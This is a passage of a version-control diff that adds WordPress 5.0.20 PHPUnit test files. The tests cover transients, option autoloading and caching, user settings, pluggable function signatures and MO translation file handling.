+		$this->assertEquals( $value2, get_transient( $key ) );
+		$this->assertTrue( delete_transient( $key ) );
+		$this->assertFalse( get_transient( $key ) );
+		$this->assertFalse( delete_transient( $key ) );
+	}
+
+	function test_serialized_data() {
+		$key = rand_str();
+		$value = array( 'foo' => true, 'bar' => true );
+
+		$this->assertTrue( set_transient( $key, $value ) );
+		$this->assertEquals( $value, get_transient( $key ) );
+
+		$value = (object) $value;
+		$this->assertTrue( set_transient( $key, $value ) );
+		$this->assertEquals( $value, get_transient( $key ) );
+		$this->assertTrue( delete_transient( $key ) );
+	}
+
+	/**
+	 * @ticket 22807
+	 */
+	function test_transient_data_with_timeout() {
+		$key = rand_str();
+		$value = rand_str();
+
+		$this->assertFalse( get_option( '_transient_timeout_' . $key ) );
+		$now = time();
+
+		$this->assertTrue( set_transient( $key, $value, 100 ) );
+
+		// Ensure the transient timeout is set for 100-101 seconds in the future.
+		$this->assertGreaterThanOrEqual( $now + 100, get_option( '_transient_timeout_' . $key ) );
+		$this->assertLessThanOrEqual( $now + 101, get_option( '_transient_timeout_' . $key ) );
+
+		// Update the timeout to a second in the past and watch the transient be invalidated.
+		update_option( '_transient_timeout_' . $key, $now - 1 );
+		$this->assertFalse( get_transient( $key ) );
+	}
+
+	/**
+	 * @ticket 22807
+	 */
+	function test_transient_add_timeout() {
+		$key = rand_str();
+		$value = rand_str();
+		$value2 = rand_str();
+		$this->assertTrue( set_transient( $key, $value ) );
+		$this->assertEquals( $value, get_transient( $key ) );
+
+		$this->assertFalse( get_option( '_transient_timeout_' . $key ) );
+
+		$now = time();
+		// Add timeout to existing timeout-less transient.
+		$this->assertTrue( set_transient( $key, $value2, 1 ) );
+		$this->assertGreaterThanOrEqual( $now, get_option( '_transient_timeout_' . $key ) );
+
+		update_option( '_transient_timeout_' . $key, $now - 1 );
+		$this->assertFalse( get_transient( $key ) );
+	}
+
+	/**
+	 * If get_option( $transient_timeout ) returns false, don't bother trying to delete the transient.
+	 *
+	 * @ticket 30380
+	 */
+	function test_nonexistent_key_dont_delete_if_false() {
+		// Create a bogus a transient
+		$key = 'test_transient';
+		set_transient( $key, 'test', 60 * 10 );
+		$this->assertEquals( 'test', get_transient( $key ) );
+
+		// Useful variables for tracking
+		$transient_timeout = '_transient_timeout_' . $key;
+
+		// Mock an action for tracking action calls
+		$a = new MockAction();
+
+		// Make sure the timeout option returns false
+		add_filter( 'option_' . $transient_timeout, '__return_false' );
+
+		// Add some actions to make sure options are _not_ deleted
+		add_action( 'delete_option', array( $a, 'action' ) );
+
+		// Act
+		get_transient( $key );
+
+		// Make sure delete option was not called for both the transient and the timeout
+		$this->assertEquals( 0, $a->get_call_count() );
+	}
+
+	/**
+	 * @ticket 30380
+	 */
+	function test_nonexistent_key_old_timeout() {
+		// Create a transient
+		$key = 'test_transient';
+		set_transient( $key, 'test', 60 * 10 );
+		$this->assertEquals( 'test', get_transient( $key ) );
+
+		// Make sure the timeout option returns false
+		$timeout = '_transient_timeout_' . $key;
+		$transient_option = '_transient_' . $key;
+		add_filter( 'option_' . $timeout, '__return_zero' );
+
+		// Mock an action for tracking action calls
+		$a = new MockAction();
+
+		// Add some actions to make sure options are deleted
+		add_action( 'delete_option', array( $a, 'action' ) );
+
+		// Act
+		get_transient( $key );
+
+		// Make sure delete option was called for both the transient and the timeout
+		$this->assertEquals( 2, $a->get_call_count() );
+
+		$expected = array(
+			array(
+				'action' => 'action',
+				'tag'    => 'delete_option',
+				'args'   => array( $transient_option ),
+			),
+			array(
+				'action' => 'action',
+				'tag'    => 'delete_option',
+				'args'   => array( $timeout ),
+			),
+		);
+		$this->assertEquals( $expected, $a->get_events() );
+	}
+}
Index: /tags/5.0.20/tests/phpunit/tests/option/updateOption.php
===================================================================
--- /tags/5.0.20/tests/phpunit/tests/option/updateOption.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/tests/option/updateOption.php	(revision 56912)
@@ -0,0 +1,199 @@
+<?php
+
+/**
+ * @group option
+ */
+class Tests_Option_UpdateOption extends WP_UnitTestCase {
+	/**
+	 * @ticket 31047
+	 */
+	public function test_should_respect_default_option_filter_when_option_does_not_yet_exist_in_database() {
+		add_filter( 'default_option_doesnotexist', array( $this, '__return_foo' ) );
+		$added = update_option( 'doesnotexist', 'bar' );
+		remove_filter( 'default_option_doesnotexist', array( $this, '__return_foo' ) );
+
+		$this->assertTrue( $added );
+		$this->assertSame( 'bar', get_option( 'doesnotexist' ) );
+	}
+
+	/**
+	 * @ticket 26394
+	 */
+	public function test_should_set_autoload_yes_for_nonexistent_option_when_autoload_param_is_missing() {
+		global $wpdb;
+		$this->flush_cache();
+		update_option( 'test_update_option_default', 'value' );
+		$this->flush_cache();
+
+		// Populate the alloptions cache, which includes autoload=yes options.
+		wp_load_alloptions();
+
+		$before = $wpdb->num_queries;
+		$value = get_option( 'test_update_option_default' );
+		$after = $wpdb->num_queries;
+
+		$this->assertEquals( $before, $after );
+		$this->assertEquals( $value, 'value' );
+	}
+
+	/**
+	 * @ticket 26394
+	 */
+	public function test_should_set_autoload_yes_for_nonexistent_option_when_autoload_param_is_yes() {
+		global $wpdb;
+		$this->flush_cache();
+		update_option( 'test_update_option_default', 'value', 'yes' );
+		$this->flush_cache();
+
+		// Populate the alloptions cache, which includes autoload=yes options.
+		wp_load_alloptions();
+
+		$before = $wpdb->num_queries;
+		$value = get_option( 'test_update_option_default' );
+		$after = $wpdb->num_queries;
+
+		$this->assertEquals( $before, $after );
+		$this->assertEquals( $value, 'value' );
+	}
+
+	/**
+	 * @ticket 26394
+	 */
+	public function test_should_set_autoload_no_for_nonexistent_option_when_autoload_param_is_no() {
+		global $wpdb;
+		$this->flush_cache();
+		update_option( 'test_update_option_default', 'value', 'no' );
+		$this->flush_cache();
+
+		// Populate the alloptions cache, which does not include autoload=no options.
+		wp_load_alloptions();
+
+		$before = $wpdb->num_queries;
+		$value = get_option( 'test_update_option_default' );
+		$after = $wpdb->num_queries;
+
+		// Database has been hit.
+		$this->assertEquals( $before + 1, $after );
+		$this->assertEquals( $value, 'value' );
+	}
+
+	/**
+	 * @ticket 26394
+	 */
+	public function test_should_set_autoload_no_for_nonexistent_option_when_autoload_param_is_false() {
+		global $wpdb;
+		$this->flush_cache();
+		update_option( 'test_update_option_default', 'value', false );
+		$this->flush_cache();
+
+		// Populate the alloptions cache, which does not include autoload=no options.
+		wp_load_alloptions();
+
+		$before = $wpdb->num_queries;
+		$value = get_option( 'test_update_option_default' );
+		$after = $wpdb->num_queries;
+
+		// Database has been hit.
+		$this->assertEquals( $before + 1, $after );
+		$this->assertEquals( $value, 'value' );
+	}
+
+	/**
+	 * @ticket 26394
+	 */
+	public function test_autoload_should_be_updated_for_existing_option_when_value_is_changed() {
+		global $wpdb;
+		add_option( 'foo', 'bar', '', 'no' );
+		$updated = update_option( 'foo', 'bar2', true );
+		$this->assertTrue( $updated );
+
+		$this->flush_cache();
+
+		// Populate the alloptions cache, which includes autoload=yes options.
+		wp_load_alloptions();
+
+		$before = $wpdb->num_queries;
+		$value = get_option( 'foo' );
+
+		$this->assertEquals( $before, $wpdb->num_queries );
+		$this->assertEquals( $value, 'bar2' );
+	}
+
+	/**
+	 * @ticket 26394
+	 */
+	public function test_autoload_should_not_be_updated_for_existing_option_when_value_is_unchanged() {
+		global $wpdb;
+		add_option( 'foo', 'bar', '', 'yes' );
+		$updated = update_option( 'foo', 'bar', false );
+		$this->assertFalse( $updated );
+
+		$this->flush_cache();
+
+		// Populate the alloptions cache, which includes autoload=yes options.
+		wp_load_alloptions();
+
+		$before = $wpdb->num_queries;
+		$value = get_option( 'foo' );
+
+		// 'foo' should still be autoload=yes, so we should see no additional querios.
+		$this->assertEquals( $before, $wpdb->num_queries );
+		$this->assertEquals( $value, 'bar' );
+	}
+
+	/**
+	 * @ticket 26394
+	 */
+	public function test_autoload_should_not_be_updated_for_existing_option_when_value_is_changed_but_no_value_of_autoload_is_provided() {
+		global $wpdb;
+		add_option( 'foo', 'bar', '', 'yes' );
+
+		// Don't pass a value for `$autoload`.
+		$updated = update_option( 'foo', 'bar2' );
+		$this->assertTrue( $updated );
+
+		$this->flush_cache();
+
+		// Populate the alloptions cache, which includes autoload=yes options.
+		wp_load_alloptions();
+
+		$before = $wpdb->num_queries;
+		$value = get_option( 'foo' );
+
+		// 'foo' should still be autoload=yes, so we should see no additional querios.
+		$this->assertEquals( $before, $wpdb->num_queries );
+		$this->assertEquals( $value, 'bar2' );
+	}
+
+	/**
+	 * @ticket 38903
+	 */
+	public function test_update_option_array_with_object() {
+		$array_w_object = array(
+			'url'       => 'http://src.wordpress-develop.dev/wp-content/uploads/2016/10/cropped-Blurry-Lights.jpg',
+			'meta_data' => (object) array(
+				'attachment_id' => 292,
+				'height'        => 708,
+				'width'         => 1260,
+			),
+		);
+
+		// Add the option, it did not exist before this.
+		add_option( 'array_w_object', $array_w_object );
+
+		$num_queries_pre_update = get_num_queries();
+
+		// Update the option using the same array with an object for the value.
+		$this->assertFalse( update_option( 'array_w_object', $array_w_object ) );
+
+		// Check that no new database queries were performed.
+		$this->assertEquals( $num_queries_pre_update, get_num_queries() );
+	}
+
+	/**
+	 * `add_filter()` callback for test_should_respect_default_option_filter_when_option_does_not_yet_exist_in_database().
+	 */
+	public function __return_foo() {
+		return 'foo';
+	}
+}
Index: /tags/5.0.20/tests/phpunit/tests/option/userSettings.php
===================================================================
--- /tags/5.0.20/tests/phpunit/tests/option/userSettings.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/tests/option/userSettings.php	(revision 56912)
@@ -0,0 +1,58 @@
+<?php
+class Tests_User_Settings extends WP_UnitTestCase {
+	protected $user_id;
+
+	function setUp() {
+		parent::setUp();
+
+		$this->user_id = self::factory()->user->create( array(
+			'role' => 'administrator'
+		) );
+
+		wp_set_current_user( $this->user_id );
+	}
+
+	function tearDown() {
+		unset( $GLOBALS['_updated_user_settings'] );
+
+		parent::tearDown();
+	}
+
+	function test_set_user_setting() {
+		$foo = get_user_setting( 'foo' );
+
+		$this->assertEmpty( $foo );
+
+		$this->set_user_setting( 'foo', 'bar' );
+
+		$this->assertEquals( 'bar', get_user_setting( 'foo' ) );
+	}
+
+	function test_set_user_setting_dashes() {
+		$foo = get_user_setting( 'foo' );
+
+		$this->assertEmpty( $foo );
+
+		$this->set_user_setting( 'foo', 'foo-bar-baz' );
+
+		$this->assertEquals( 'foo-bar-baz', get_user_setting( 'foo' ) );
+	}
+
+	function test_set_user_setting_strip_asterisks() {
+		$foo = get_user_setting( 'foo' );
+
+		$this->assertEmpty( $foo );
+
+		$this->set_user_setting( 'foo', 'foo*bar*baz' );
+
+		$this->assertEquals( 'foobarbaz', get_user_setting( 'foo' ) );
+	}
+
+	// set_user_setting bails if `headers_sent()` is true
+	function set_user_setting( $name, $value ) {
+		$all_user_settings = get_all_user_settings();
+		$all_user_settings[ $name ] = $value;
+
+		return wp_set_all_user_settings( $all_user_settings );
+	}
+}
Index: /tags/5.0.20/tests/phpunit/tests/option/wpLoadAllOptions.php
===================================================================
--- /tags/5.0.20/tests/phpunit/tests/option/wpLoadAllOptions.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/tests/option/wpLoadAllOptions.php	(revision 56912)
@@ -0,0 +1,109 @@
+<?php
+/**
+ * Test wp_load_alloptions().
+ *
+ * @group option
+ */
+class Tests_Option_WP_Load_Alloptions extends WP_UnitTestCase {
+	protected $alloptions = null;
+
+	function tearDown() {
+		$this->alloptions = null;
+		parent::tearDown();
+	}
+
+	function test_if_alloptions_is_cached() {
+		$this->assertNotEmpty( wp_cache_get( 'alloptions', 'options' ) );
+	}
+
+	/**
+	 * @depends test_if_alloptions_is_cached
+	 */
+	function test_if_cached_alloptions_is_deleted() {
+		$this->assertTrue( wp_cache_delete( 'alloptions', 'options' ) );
+	}
+
+	/**
+	 * @depends test_if_alloptions_is_cached
+	 */
+	function test_if_alloptions_are_retrieved_from_cache() {
+		global $wpdb;
+		$before = $wpdb->num_queries;
+		wp_load_alloptions();
+		$after = $wpdb->num_queries;
+
+		// Database has not been hit.
+		$this->assertEquals( $before, $after );
+	}
+
+	/**
+	 * @depends test_if_cached_alloptions_is_deleted
+	 */
+	function test_if_alloptions_are_retrieved_from_database() {
+		global $wpdb;
+
+		// Delete the existing cache first.
+		wp_cache_delete( 'alloptions', 'options' );
+
+		$before = $wpdb->num_queries;
+		wp_load_alloptions();
+		$after = $wpdb->num_queries;
+
+		// Database has been hit.
+		$this->assertEquals( $before + 1, $after );
+	}
+
+	/**
+	 * @depends test_if_cached_alloptions_is_deleted
+	 */
+	function test_filter_pre_cache_alloptions_is_called() {
+		$temp = wp_installing();
+
+		/**
+		 * Set wp_installing() to false.
+		 *
+		 * If wp_installing is false and the cache is empty, the filter is called regardless if it's multisite or not.
+		 */
+		wp_installing( false );
+
+		// Delete the existing cache first.
+		wp_cache_delete( 'alloptions', 'options' );
+
+		add_filter( 'pre_cache_alloptions', array( $this, 'return_pre_cache_filter' ) );
+		$all_options = wp_load_alloptions();
+
+		// Value could leak to other tests if not reset.
+		wp_installing( $temp  );
+
+		// Filter was called.
+		$this->assertEquals( $this->alloptions, $all_options );
+	}
+
+	/**
+	 * @depends test_if_alloptions_is_cached
+	 */
+	function test_filter_pre_cache_alloptions_is_not_called() {
+		$temp = wp_installing();
+
+		/**
+		 * Set wp_installing() to true.
+		 *
+		 * If wp_installing is true and it's multisite, the cache and filter are not used.
+		 * If wp_installing is true and it's not multisite, the cache is used (if not empty), and the filter not.
+		 */
+		wp_installing( true );
+
+		add_filter( 'pre_cache_alloptions', array( $this, 'return_pre_cache_filter' ) );
+		wp_load_alloptions();
+
+		// Value could leak to other tests if not reset.
+		wp_installing( $temp );
+
+		// Filter was not called.
+		$this->assertNull( $this->alloptions );
+	}
+
+	function return_pre_cache_filter( $alloptions ) {
+		return $this->alloptions = $alloptions;
+	}
+}
Index: /tags/5.0.20/tests/phpunit/tests/pluggable.php
===================================================================
--- /tags/5.0.20/tests/phpunit/tests/pluggable.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/tests/pluggable.php	(revision 56912)
@@ -0,0 +1,203 @@
+<?php
+
+/**
+ * @group pluggable
+ */
+class Tests_Pluggable extends WP_UnitTestCase {
+
+	/**
+	 * Tests that the signatures of all functions in pluggable.php match their expected signature.
+	 *
+	 * @ticket 33654
+	 * @ticket 33867
+	 *
+	 * @dataProvider getDefinedPluggableFunctions
+	 */
+	public function testPluggableFunctionSignaturesMatch( $function ) {
+
+		$signatures = $this->getPluggableFunctionSignatures();
+
+		$this->assertTrue( function_exists( $function ) );
+		$this->assertArrayHasKey( $function, $signatures );
+
+		$function_ref = new ReflectionFunction( $function );
+		$param_refs   = $function_ref->getParameters();
+
+		$this->assertSame( count( $signatures[ $function ] ), count( $param_refs ) );
+
+		$i = 0;
+
+		foreach ( $signatures[ $function ] as $name => $value ) {
+
+			$param_ref = $param_refs[ $i ];
+			$msg       = 'Parameter: ' . $param_ref->getName();
+
+			if ( is_numeric( $name ) ) {
+				$name = $value;
+				$this->assertFalse( $param_ref->isOptional(), $msg );
+			} else {
+				$this->assertTrue( $param_ref->isOptional(), $msg );
+				$this->assertSame( $value, $param_ref->getDefaultValue(), $msg );
+			}
+
+			$this->assertSame( $name, $param_ref->getName(), $msg );
+
+			$i++;
+
+		}
+
+	}
+
+	/**
+	 * Test the tests. Makes sure all the expected pluggable functions exist and that they live in pluggable.php.
+	 *
+	 * @ticket 33654
+	 * @ticket 33867
+	 */
+	public function testAllPluggableFunctionsExist() {
+
+		$defined  = wp_list_pluck( $this->getDefinedPluggableFunctions(), 0 );
+		$expected = $this->getPluggableFunctionSignatures();
+
+		foreach ( $expected as $function => $sig ) {
+			$msg = 'Function: ' . $function . '()';
+			$this->assertTrue( function_exists( $function ), $msg );
+			$this->assertTrue( in_array( $function, $defined, true ), $msg );
+		}
+
+	}
+
+	/**
+	 * Data provider for our pluggable function signature tests.
+	 *
+	 * @return array Data provider array of pluggable function names.
+	 */
+	public function getDefinedPluggableFunctions() {
+
+		require_once ABSPATH . '/wp-admin/includes/upgrade.php';
+
+		$test_functions = array(
+			'install_network',
+			'wp_install',
+			'wp_install_defaults',
+			'wp_new_blog_notification',
+			'wp_upgrade',
+			'install_global_terms',
+		);
+		$test_files = array(
+			'wp-includes/pluggable.php',
+		);
+
+		// Pluggable function signatures are not tested when an external object cache is in use. #31491
+		if ( ! wp_using_ext_object_cache() ) {
+			$test_files[] = 'wp-includes/cache.php';
+		}
+
+		$data = array();
+
+		foreach ( $test_functions as $function ) {
+			$data[] = array(
+				$function
+			);
+		}
+
+		foreach ( $test_files as $file ) {
+			preg_match_all( '#^\t?function (\w+)#m', file_get_contents( ABSPATH . '/' . $file ), $functions );
+
+			foreach ( $functions[1] as $function ) {
+				$data[] = array(
+					$function
+				);
+			}
+		}
+
+		return $data;
+
+	}
+
+	/**
+	 * Expected pluggable function signatures.
+	 *
+	 * @return array Array of signatures keyed by their function name.
+	 */
+	public function getPluggableFunctionSignatures() {
+
+		$signatures = array(
+
+			// wp-includes/pluggable.php:
+			'wp_set_current_user'             => array( 'id', 'name' => '' ),
+			'wp_get_current_user'             => array(),
+			'get_userdata'                    => array( 'user_id' ),
+			'get_user_by'                     => array( 'field', 'value' ),
+			'cache_users'                     => array( 'user_ids' ),
+			'wp_mail'                         => array( 'to', 'subject', 'message', 'headers' => '', 'attachments' => array() ),
+			'wp_authenticate'                 => array( 'username', 'password' ),
+			'wp_logout'                       => array(),
+			'wp_validate_auth_cookie'         => array( 'cookie' => '', 'scheme' => '' ),
+			'wp_generate_auth_cookie'         => array( 'user_id', 'expiration', 'scheme' => 'auth', 'token' => '' ),
+			'wp_parse_auth_cookie'            => array( 'cookie' => '', 'scheme' => '' ),
+			'wp_set_auth_cookie'              => array( 'user_id', 'remember' => false, 'secure' => '', 'token' => '' ),
+			'wp_clear_auth_cookie'            => array(),
+			'is_user_logged_in'               => array(),
+			'auth_redirect'                   => array(),
+			'check_admin_referer'             => array( 'action' => -1, 'query_arg' => '_wpnonce' ),
+			'check_ajax_referer'              => array( 'action' => -1, 'query_arg' => false, 'die' => true ),
+			'wp_redirect'                     => array( 'location', 'status' => 302 ),
+			'wp_sanitize_redirect'            => array( 'location' ),
+			'_wp_sanitize_utf8_in_redirect'   => array( 'matches' ),
+			'wp_safe_redirect'                => array( 'location', 'status' => 302 ),
+			'wp_validate_redirect'            => array( 'location', 'default' => '' ),
+			'wp_notify_postauthor'            => array( 'comment_id', 'deprecated' => null ),
+			'wp_notify_moderator'             => array( 'comment_id' ),
+			'wp_password_change_notification' => array( 'user' ),
+			'wp_new_user_notification'        => array( 'user_id', 'deprecated' => null, 'notify' => '' ),
+			'wp_nonce_tick'                   => array(),
+			'wp_verify_nonce'                 => array( 'nonce', 'action' => -1 ),
+			'wp_create_nonce'                 => array( 'action' => -1 ),
+			'wp_salt'                         => array( 'scheme' => 'auth' ),
+			'wp_hash'                         => array( 'data', 'scheme' => 'auth' ),
+			'wp_hash_password'                => array( 'password' ),
+			'wp_check_password'               => array( 'password', 'hash', 'user_id' => '' ),
+			'wp_generate_password'            => array( 'length' => 12, 'special_chars' => true, 'extra_special_chars' => false ),
+			'wp_rand'                         => array( 'min' => 0, 'max' => 0 ),
+			'wp_set_password'                 => array( 'password', 'user_id' ),
+			'get_avatar'                      => array( 'id_or_email', 'size' => 96, 'default' => '', 'alt' => '', 'args' => null ),
+			'wp_text_diff'                    => array( 'left_string', 'right_string', 'args' => null ),
+
+			// wp-admin/includes/schema.php:
+			'install_network'                    => array(),
+
+			// wp-admin/includes/upgrade.php:
+			'wp_install'                         => array( 'blog_title', 'user_name', 'user_email', 'public', 'deprecated' => '', 'user_password' => '', 'language' => '' ),
+			'wp_install_defaults'                => array( 'user_id' ),
+			'wp_new_blog_notification'           => array( 'blog_title', 'blog_url', 'user_id', 'password' ),
+			'wp_upgrade'                         => array(),
+			'install_global_terms'               => array(),
+		);
+
+		// Pluggable function signatures are not tested when an external object cache is in use. #31491
+		if ( ! wp_using_ext_object_cache() ) {
+			$signatures = array_merge( $signatures, array(
+
+				// wp-includes/cache.php:
+				'wp_cache_add'                       => array( 'key', 'data', 'group' => '', 'expire' => 0 ),
+				'wp_cache_close'                     => array(),
+				'wp_cache_decr'                      => array( 'key', 'offset' => 1, 'group' => '' ),
+				'wp_cache_delete'                    => array( 'key', 'group' => '' ),
+				'wp_cache_flush'                     => array(),
+				'wp_cache_get'                       => array( 'key', 'group' => '', 'force' => false, 'found' => null ),
+				'wp_cache_incr'                      => array( 'key', 'offset' => 1, 'group' => '' ),
+				'wp_cache_init'                      => array(),
+				'wp_cache_replace'                   => array( 'key', 'data', 'group' => '', 'expire' => 0 ),
+				'wp_cache_set'                       => array( 'key', 'data', 'group' => '', 'expire' => 0 ),
+				'wp_cache_switch_to_blog'            => array( 'blog_id' ),
+				'wp_cache_add_global_groups'         => array( 'groups' ),
+				'wp_cache_add_non_persistent_groups' => array( 'groups' ),
+				'wp_cache_reset'                     => array(),
+			) );
+		}
+
+		return $signatures;
+	}
+
+}
Index: /tags/5.0.20/tests/phpunit/tests/pomo/mo.php
===================================================================
--- /tags/5.0.20/tests/phpunit/tests/pomo/mo.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/tests/pomo/mo.php	(revision 56912)
@@ -0,0 +1,146 @@
+<?php
+
+/**
+ * @group pomo
+ */
+class Tests_POMO_MO extends WP_UnitTestCase {
+
+	function test_mo_simple() {
+		$mo = new MO();
+		$mo->import_from_file(DIR_TESTDATA . '/pomo/simple.mo');
+		$this->assertEquals(array('Project-Id-Version' => 'WordPress 2.6-bleeding', 'Report-Msgid-Bugs-To' => 'wp-polyglots@lists.automattic.com'), $mo->headers);
+		$this->assertEquals(2, count($mo->entries));
+		$this->assertEquals(array('dyado'), $mo->entries['baba']->translations);
+		$this->assertEquals(array('yes'), $mo->entries["kuku\nruku"]->translations);
+	}
+
+	function test_mo_plural() {
+		$mo = new MO();
+		$mo->import_from_file(DIR_TESTDATA . '/pomo/plural.mo');
+		$this->assertEquals(1, count($mo->entries));
+		$this->assertEquals(array("oney dragoney", "twoey dragoney", "manyey dragoney", "manyeyey dragoney", "manyeyeyey dragoney"), $mo->entries["one dragon"]->translations);
+
+		$this->assertEquals('oney dragoney', $mo->translate_plural('one dragon', '%d dragons', 1));
+		$this->assertEquals('twoey dragoney', $mo->translate_plural('one dragon', '%d dragons', 2));
+		$this->assertEquals('twoey dragoney', $mo->translate_plural('one dragon', '%d dragons', -8));
+
+
+		$mo->set_header('Plural-Forms', 'nplurals=5; plural=0');
+		$this->assertEquals('oney dragoney', $mo->translate_plural('one dragon', '%d dragons', 1));
+		$this->assertEquals('oney dragoney', $mo->translate_plural('one dragon', '%d dragons', 2));
+		$this->assertEquals('oney dragoney', $mo->translate_plural('one dragon', '%d dragons', -8));
+
+		$mo->set_header('Plural-Forms', 'nplurals=5; plural=n%10==1 && n%100!=11 ? 0 : n%10>=2 && n%10<=4 && (n%100<10 || n%100>=20) ? 1 : 2;');
+		$this->assertEquals('oney dragoney', $mo->translate_plural('one dragon', '%d dragons', 1));
+		$this->assertEquals('manyey dragoney', $mo->translate_plural('one dragon', '%d dragons', 11));
+		$this->assertEquals('twoey dragoney', $mo->translate_plural('one dragon', '%d dragons', 3));
+
+		$mo->set_header('Plural-Forms', 'nplurals=2; plural=n !=1;');
+		$this->assertEquals('oney dragoney', $mo->translate_plural('one dragon', '%d dragons', 1));
+		$this->assertEquals('twoey dragoney', $mo->translate_plural('one dragon', '%d dragons', 2));
+		$this->assertEquals('twoey dragoney', $mo->translate_plural('one dragon', '%d dragons', -8));
+	}
+
+	function test_mo_context() {
+		$mo = new MO();
+		$mo->import_from_file(DIR_TESTDATA . '/pomo/context.mo');
+		$this->assertEquals(2, count($mo->entries));
+		$plural_entry = new Translation_Entry(array('singular' => 'one dragon', 'plural' => '%d dragons', 'translations' => array("oney dragoney", "twoey dragoney","manyey dragoney"), 'context' => 'dragonland'));
+		$this->assertEquals($plural_entry, $mo->entries[$plural_entry->key()]);
+		$this->assertEquals("dragonland", $mo->entries[$plural_entry->key()]->context);
+
+		$single_entry = new Translation_Entry(array('singular' => 'one dragon', 'translations' => array("oney dragoney"), 'context' => 'not so dragon'));
+		$this->assertEquals($single_entry, $mo->entries[$single_entry->key()]);
+		$this->assertEquals("not so dragon", $mo->entries[$single_entry->key()]->context);
+
+	}
+
+	function test_translations_merge() {
+		$host = new Translations();
+		$host->add_entry(new Translation_Entry(array('singular' => 'pink',)));
+		$host->add_entry(new Translation_Entry(array('singular' => 'green',)));
+		$guest = new Translations();
+		$guest->add_entry(new Translation_Entry(array('singular' => 'green',)));
+		$guest->add_entry(new Translation_Entry(array('singular' => 'red',)));
+		$host->merge_with($guest);
+		$this->assertEquals(3, count($host->entries));
+		$this->assertEquals(array(), array_diff(array('pink', 'green', 'red'), array_keys($host->entries)));
+	}
+
+	function test_export_mo_file() {
+		$entries = array();
+		$entries[] = new Translation_Entry(array('singular' => 'pink',
+			'translations' => array('розов')));
+		$no_translation_entry = new Translation_Entry(array('singular' => 'grey'));
+		$entries[] = new Translation_Entry(array('singular' => 'green', 'plural' => 'greens',
+			'translations' => array('зелен', 'зелени')));
+		$entries[] = new Translation_Entry(array('singular' => 'red', 'context' => 'color',
+			'translations' => array('червен')));
+		$entries[] = new Translation_Entry(array('singular' => 'red', 'context' => 'bull',
+			'translations' => array('бик')));
+		$entries[] = new Translation_Entry(array('singular' => 'maroon', 'plural' => 'maroons', 'context' => 'context',
+			'translations' => array('пурпурен', 'пурпурни')));
+
+		$mo = new MO();
+		$mo->set_header('Project-Id-Version', 'Baba Project 1.0');
+		foreach($entries as $entry) {
+			$mo->add_entry($entry);
+		}
+		$mo->add_entry($no_translation_entry);
+
+		$temp_fn = $this->temp_filename();
+		$mo->export_to_file($temp_fn);
+
+		$again = new MO();
+		$again->import_from_file($temp_fn);
+
+		$this->assertEquals(count($entries), count($again->entries));
+		foreach($entries as $entry) {
+			$this->assertEquals($entry, $again->entries[$entry->key()]);
+		}
+	}
+
+	function test_export_should_not_include_empty_translations() {
+		$entries = array(  );
+		$mo = new MO;
+		$mo->add_entry( array( 'singular' => 'baba', 'translations' => array( '', '' ) ) );
+
+		$temp_fn = $this->temp_filename();
+		$mo->export_to_file( $temp_fn );
+
+		$again = new MO();
+		$again->import_from_file($temp_fn);
+
+		$this->assertEquals( 0, count( $again->entries ) );
+	}
+
+	function test_nplurals_with_backslashn() {
+		$mo = new MO();
+		$mo->import_from_file(DIR_TESTDATA . '/pomo/bad_nplurals.mo');
+		$this->assertEquals('%d foro', $mo->translate_plural('%d forum', '%d forums', 1));
+		$this->assertEquals('%d foros', $mo->translate_plural('%d forum', '%d forums', 2));
+		$this->assertEquals('%d foros', $mo->translate_plural('%d forum', '%d forums', -1));
+	}
+
+	function disabled_test_performance() {
+		$start = microtime(true);
+		$mo = new MO();
+		$mo->import_from_file(DIR_TESTDATA . '/pomo/de_DE-2.8.mo');
+		// echo "\nPerformance: ".(microtime(true) - $start)."\n";
+	}
+
+	function test_overloaded_mb_functions() {
+		if ((ini_get("mbstring.func_overload") & 2) == 0) {
+			$this->markTestSkipped( __METHOD__ . ' only runs when mbstring.func_overload is enabled.' );
+		}
+
+		$mo = new MO();
+		$mo->import_from_file(DIR_TESTDATA . '/pomo/overload.mo');
+		$this->assertEquals(array('Табло'), $mo->entries['Dashboard']->translations);
+	}
+
+	function test_load_pot_file() {
+		$mo = new MO();
+		$this->assertEquals( false, $mo->import_from_file(DIR_TESTDATA . '/pomo/mo.pot') );
+	}
+}
Index: /tags/5.0.20/tests/phpunit/tests/pomo/noopTranslations.php
===================================================================
--- /tags/5.0.20/tests/phpunit/tests/pomo/noopTranslations.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/tests/pomo/noopTranslations.php	(revision 56912)
@@ -0,0 +1,44 @@
+<?php
+
+/**
+ * @group pomo
+ */
+class Tests_POMO_NOOPTranslations extends WP_UnitTestCase {
+	function setUp() {
+		parent::setUp();
+		$this->noop = new NOOP_Translations;
+		$this->entry = new Translation_Entry( array( 'singular' => 'baba' ) );
+		$this->plural_entry = new Translation_Entry(array('singular' => 'dyado', 'plural' => 'dyados', 'translations' => array('dyadox', 'dyadoy')));
+	}
+
+	function test_get_header() {
+		$this->assertEquals( false, $this->noop->get_header( 'Content-Type' ) );
+	}
+
+	function test_add_entry() {
+		$this->noop->add_entry( $this->entry );
+		$this->assertEquals( array(), $this->noop->entries );
+	}
+
+	function test_set_header() {
+		$this->noop->set_header( 'header', 'value' );
+		$this->assertEquals( array(), $this->noop->headers );
+	}
+
+	function test_translate_entry() {
+		$this->noop->add_entry( $this->entry );
+		$this->assertEquals( false, $this->noop->translate_entry( $this->entry ) );
+	}
+
+	function test_translate() {
+		$this->noop->add_entry( $this->entry );
+		$this->assertEquals( 'baba', $this->noop->translate( 'baba' ) );
+	}
+
+	function test_plural() {
+		$this->noop->add_entry( $this->plural_entry );
+		$this->assertEquals( 'dyado', $this->noop->translate_plural( 'dyado', 'dyados', 1 ) );
+		$this->assertEquals( 'dyados', $this->noop->translate_plural( 'dyado', 'dyados', 11 ) );
+		$this->assertEquals( 'dyados', $this->noop->translate_plural( 'dyado', 'dyados', 0 ) );
+	}
+}
Index: /tags/5.0.20/tests/phpunit/tests/pomo/pluralForms.php
===================================================================
--- /tags/5.0.20/tests/phpunit/tests/pomo/pluralForms.php	(revision 56912)
+++ /tags/5.0.20/tests/phpunit/tests/pomo/pluralForms.php	(revision 56912)
@@ -0,0 +1,245 @@
+<?php
+
+/**
+ * @group pomo
+ */
